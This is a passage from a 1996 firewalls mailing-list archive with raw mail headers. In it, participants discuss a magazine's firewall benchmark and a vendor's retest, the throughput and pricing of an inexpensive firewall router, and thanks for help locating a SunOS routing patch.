running the Gauntlet Internet Firewall, w/o any changes by TIS.

Fred

At 09:17 AM 3/14/96 -0500, Brien Wheeler wrote:
>Philippe Cayphas (pc@godel2.bim.be) writes:
>> Data Communications has performed a very interesting comparison of a lot of
>>  firewalls.
>> Let's say that Raptor product was not the best. Far away.
>> 
>> This study can be found at :
>> http://www.data.com/Lab_Tests/Firewalls.html
>
>The test tools used by Data Communications in the preparation of the article
>that you cite created an unnaturally high connection rate when attempting
>to configure all virtual clients.  This high connection rate exposed a minor
>bug in Raptor's Generic Service Passer (one that had never impacted any
>customer), causing the _test configuration_ to fail.  The actual tests,
>which generated a more realistic (but still high) connection load were not
>performed during that testing.
>
>Raptor fixed the bug and retested at NSTL (where the original testing was
>performed) on the same hardware, using the exact original test tools and
>scenarios.  On retest, the Eagle (running on a SPARC 5) performed better
>than all firewalls tested for the original article.  A SPARC 20 Eagle
>that was tested for comparison purposes was literally off the chart,
>serving up to 1200 "transactions per minute", while the chart published
>in the original article stopped at 900 tpm.
>
>An update which mentions all this appeared in a recent (March 1996)
>Data Communications issue.
>
>     Brien Wheeler
>     Software Engineer
>     Raptor Systems, Inc.
>
>


From firewalls-owner  Thu Mar 14 10:33:59 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA13906 for firewalls-outgoing; Thu, 14 Mar 1996 09:33:59 -0800 (PST)
Received: from vidnoe.yourtown.com (vidnoe.yourtown.com [199.125.234.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA13889 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 09:33:52 -0800 (PST)
Received: by vidnoe.yourtown.com (4.1/SMI-4.1)
	id AA22107; Thu, 14 Mar 96 12:30:21 EST
Date: Thu, 14 Mar 96 12:30:21 EST
From: bve@vidnoe.yourtown.com (Bill Van Emburg)
Message-Id: <9603141730.AA22107@vidnoe.yourtown.com>
To: Steve_Benesko@cti.ca
Cc: firewalls@greatcircle.com
In-Reply-To: <9603132113.AA0241@notes.cti.ca> (Steve_Benesko@cti.ca)
Subject: RE: Borderguard
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

   From: Steve Benesko/CTI
   Do you support the protocols directly, or do you tunnel them through IP (or the 
   best scenario both) 

>From the meeting I had with an NSC rep today, IP (or VinesIP) is about
all that can be supported directly (routing).  Bridging is used for
everything else.  They did say that this will change, though....


   That brings me back to my first question...  If this thing is so wonderful, 
   then how (not why) can you market it for next to nothing??
   I understand the why rational of wanting to corner the firewall market by 
   making inexpensive firewalls, but this is a COMMON QUESTION that people come to 
   me on.
   I just want to know what enables you to price this so low...

Throughput.  If you use the encryption and compression and other nifty
stuff, the ~3K package can only handle 128K average throughput.  You
need the ~11K option (The Security Router) to handle all this at T1
speeds.  I don't know how much faster you can go....

We are looking at using NSC's stuff, too.  I'd be curious to hear
any other info/responses you get....


					-BVE
					(Bill Van Emburg)
					(bve@yourtown.com)
					(http://yourtown.com)
	"You do what you want, and if you didn't, you don't"

From firewalls-owner  Thu Mar 14 10:49:00 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA15880 for firewalls-outgoing; Thu, 14 Mar 1996 10:08:10 -0800 (PST)
Received: from spirited.vividimage.com (spirited.primeoption.com [199.0.1.110]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA15866 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 10:07:50 -0800 (PST)
Received: from carlsbadpo.vividimage.com (carlsbadpo [204.118.20.3]) by spirited.vividimage.com (8.6.13/8.6.12) with SMTP id KAA07221 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 10:18:46 -0800
Received: by carlsbadpo.vividimage.com with Microsoft Mail
	id <31485FAB@carlsbadpo.vividimage.com>; Thu, 14 Mar 96 10:04:27 PST
From: Barton Kirk Baenisch <bbaenisch@vividimage.com>
To: "firewalls@greatcircle.com" <firewalls@greatcircle.com>
Subject: Re: Where is the SunOS 4.1.3_U1 ip_route.c from Brad Powell?
Date: Thu, 14 Mar 96 10:04:00 PST
Message-ID: <31485FAB@carlsbadpo.vividimage.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Ladies & Gentlemen-

     Many thanks to the rapid and generous response.
I am in your debt.  (I'll buy the beer on your next San Diego trip)

Thanks,
     Bart

From firewalls-owner  Thu Mar 14 11:04:56 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA16749 for firewalls-outgoing; Thu, 14 Mar 1996 10:25:33 -0800 (PST)
Received: from mailserver.zia.ms.it (icaro.zia.ms.it [194.21.103.2]) by miles.greatcircle.com (8.7.4/Miles-95122